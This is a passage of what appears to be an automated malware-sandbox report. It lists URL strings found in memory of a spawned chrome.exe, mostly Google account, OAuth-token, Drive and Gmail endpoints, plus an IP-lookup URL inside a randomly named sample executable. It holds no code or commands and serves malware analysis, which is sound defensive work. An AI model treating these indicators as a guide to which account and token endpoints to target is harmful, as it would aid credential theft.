Source: chrome.exe, 00000005.00000003.2017402634.00001A300256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000005.00000003.2004412584.00001A30026A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2033627016.00001A3002DF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2029602843.00001A300252C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017352816.00001A3002DF4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000005.00000003.2010363332.00001A3002DF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2033627016.00001A3002DF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017352816.00001A3002DF4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/&
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030814371.00001A30028A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000005.00000002.2030814371.00001A30028A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/?lfhs=28
Source: chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/C
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2004693515.00001A300284C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000005.00000002.2032188226.00001A3002BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2034475963.00001A3002E60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000005.00000002.2032188226.00001A3002BC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000005.00000002.2033930805.00001A3002E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000005.00000002.2034475963.00001A3002E60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000005.00000002.2034475963.00001A3002E60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab.
Source: chrome.exe, 00000005.00000002.2034475963.00001A3002E60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: chrome.exe, 00000005.00000002.2034475963.00001A3002E60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icoion.
Source: ELLRGATenShKoyKeRtXA.dll.0.dr String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: chrome.exe, 00000005.00000002.2027658821.00001A30022B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000005.00000003.2000662623.000061100071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000803719.0000611000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2041219582.0000611000974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000005.00000002.2040966848.0000611000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Enabled_Notice_M1_AllAPIs_GA4Kids_Stable_20230830htt
Source: chrome.exe, 00000005.00000002.2040966848.0000611000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-query.fastly-edge.com/htt
Source: chrome.exe, 00000005.00000002.2040966848.0000611000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000005.00000003.2000662623.000061100071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000803719.0000611000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2041219582.0000611000974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000005.00000003.2001328420.0000611000878000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000005.00000003.2000662623.000061100071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000803719.0000611000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2041219582.0000611000974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: chrome.exe, 00000005.00000002.2027390277.00001A3002244000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000005.00000002.2030707095.00001A3002858000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://googleusercontent.com/
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/ip
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/ipbefore
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000005.00000003.2009458713.00001A30025D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000005.00000002.2039122586.00001A30032D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031435000.00001A30029C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031561959.00001A3002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000005.00000002.2039122586.00001A30032D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031435000.00001A30029C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031561959.00001A3002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000005.00000002.2041219582.0000611000974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000005.00000002.2040858825.0000611000904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000005.00000003.2000662623.000061100071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000803719.0000611000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2041219582.0000611000974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000005.00000002.2039786607.0000611000238000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboarda
Source: chrome.exe, 00000005.00000003.2000662623.000061100071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2000803719.0000611000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2041219582.0000611000974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000005.00000002.2040858825.0000611000904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000005.00000002.2041219582.0000611000974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000005.00000003.2017520224.00001A3003380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017616838.00001A300340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017402634.00001A300256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000005.00000003.2017520224.00001A3003380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017616838.00001A300340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017402634.00001A300256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000005.00000003.2001328420.0000611000878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2040795506.00006110008D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017616838.00001A300340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017402634.00001A300256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000005.00000002.2041219582.0000611000974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000005.00000002.2040966848.0000611000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918P
Source: chrome.exe, 00000005.00000002.2040966848.0000611000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plusp?
Source: chrome.exe, 00000005.00000002.2040795506.00006110008D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000005.00000002.2035764761.00001A3002F6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000005.00000002.2030617822.00001A300282C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2032737785.00001A3002CF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000005.00000002.2029858174.00001A3002613000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000005.00000002.2039069741.00001A3003230000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030174101.00001A30026F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031187267.00001A3002950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000005.00000002.2031405773.00001A30029A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2038851154.00001A3003140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030097643.00001A30026AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000005.00000002.2031405773.00001A30029A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2039069741.00001A3003230000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030097643.00001A30026AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000005.00000002.2039069741.00001A3003230000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000005.00000002.2039069741.00001A3003230000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030097643.00001A30026AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000005.00000003.2014647492.00001A3003020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2032320164.00001A3002C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2014744476.00001A30030A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000005.00000002.2028860925.00001A300240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000005.00000002.2030987582.00001A30028F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2039262343.00001A300332C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000005.00000002.2038601087.00001A30030C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2037426909.00001A300302C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000005.00000002.2038601087.00001A30030C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2037426909.00001A300302C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000002.2038626848.00001A30030D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2038601087.00001A30030C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2013543079.00001A3002C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2037426909.00001A300302C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000005.00000002.2032672802.00001A3002CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2037426909.00001A300302C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000005.00000002.2038601087.00001A30030C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2029241248.00001A30024D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2037426909.00001A300302C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000005.00000002.2037426909.00001A300302C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000005.00000002.2038626848.00001A30030D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2038601087.00001A30030C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2037069433.00001A300300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2037426909.00001A300302C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000002.2038626848.00001A30030D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2037426909.00001A300302C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000005.00000003.2014647492.00001A3003020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2032320164.00001A3002C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2014744476.00001A30030A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000005.00000003.2017520224.00001A3003380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017616838.00001A300340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017402634.00001A300256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000005.00000002.2032320164.00001A3002C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2014744476.00001A30030A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000005.00000002.2027614955.00001A300229C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000005.00000002.2027658821.00001A30022B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000005.00000002.2039122586.00001A30032D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031435000.00001A30029C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031561959.00001A3002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000005.00000002.2039122586.00001A30032D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031435000.00001A30029C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000005.00000002.2031561959.00001A3002A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactionsp
Source: chrome.exe, 00000005.00000002.2032451345.00001A3002C44000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000005.00000002.2033235546.00001A3002DA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000005.00000002.2033930805.00001A3002E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000005.00000002.2033930805.00001A3002E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000005.00000002.2033930805.00001A3002E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000005.00000002.2027297459.00001A3002214000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2027614955.00001A300229C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000005.00000003.2016517692.00001A3002F00000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031595003.00001A3002A28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030911710.00001A30028E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2014744476.00001A30030A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2012315087.00001A3002EF8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000005.00000002.2033235546.00001A3002DA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000005.00000002.2031595003.00001A3002A28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/CharEl3
Source: chrome.exe, 00000005.00000002.2034714816.00001A3002E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2hd/
Source: chrome.exe, 00000005.00000002.2039315495.00001A3003348000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2038682126.00001A30030FC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000005.00000002.2039345871.00001A3003364000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000005.00000002.2032032663.00001A3002B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031698869.00001A3002A78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2035764761.00001A3002F6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000005.00000002.2032032663.00001A3002B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031698869.00001A3002A78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2028741196.00001A30023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2035764761.00001A3002F6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000005.00000002.2031698869.00001A3002A78000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000005.00000002.2030509798.00001A30027D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2030174101.00001A30026F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2034123416.00001A3002E24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2031187267.00001A3002950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000005.00000002.2031187267.00001A3002950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000005.00000002.2034123416.00001A3002E24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icon
Source: chrome.exe, 00000005.00000003.2017402634.00001A300256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000005.00000002.2030133575.00001A30026D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000005.00000002.2032496301.00001A3002C58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000005.00000002.2027297459.00001A3002214000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000005.00000002.2028860925.00001A300240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000005.00000002.2028860925.00001A300240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000005.00000002.2030509798.00001A30027D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2028860925.00001A300240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
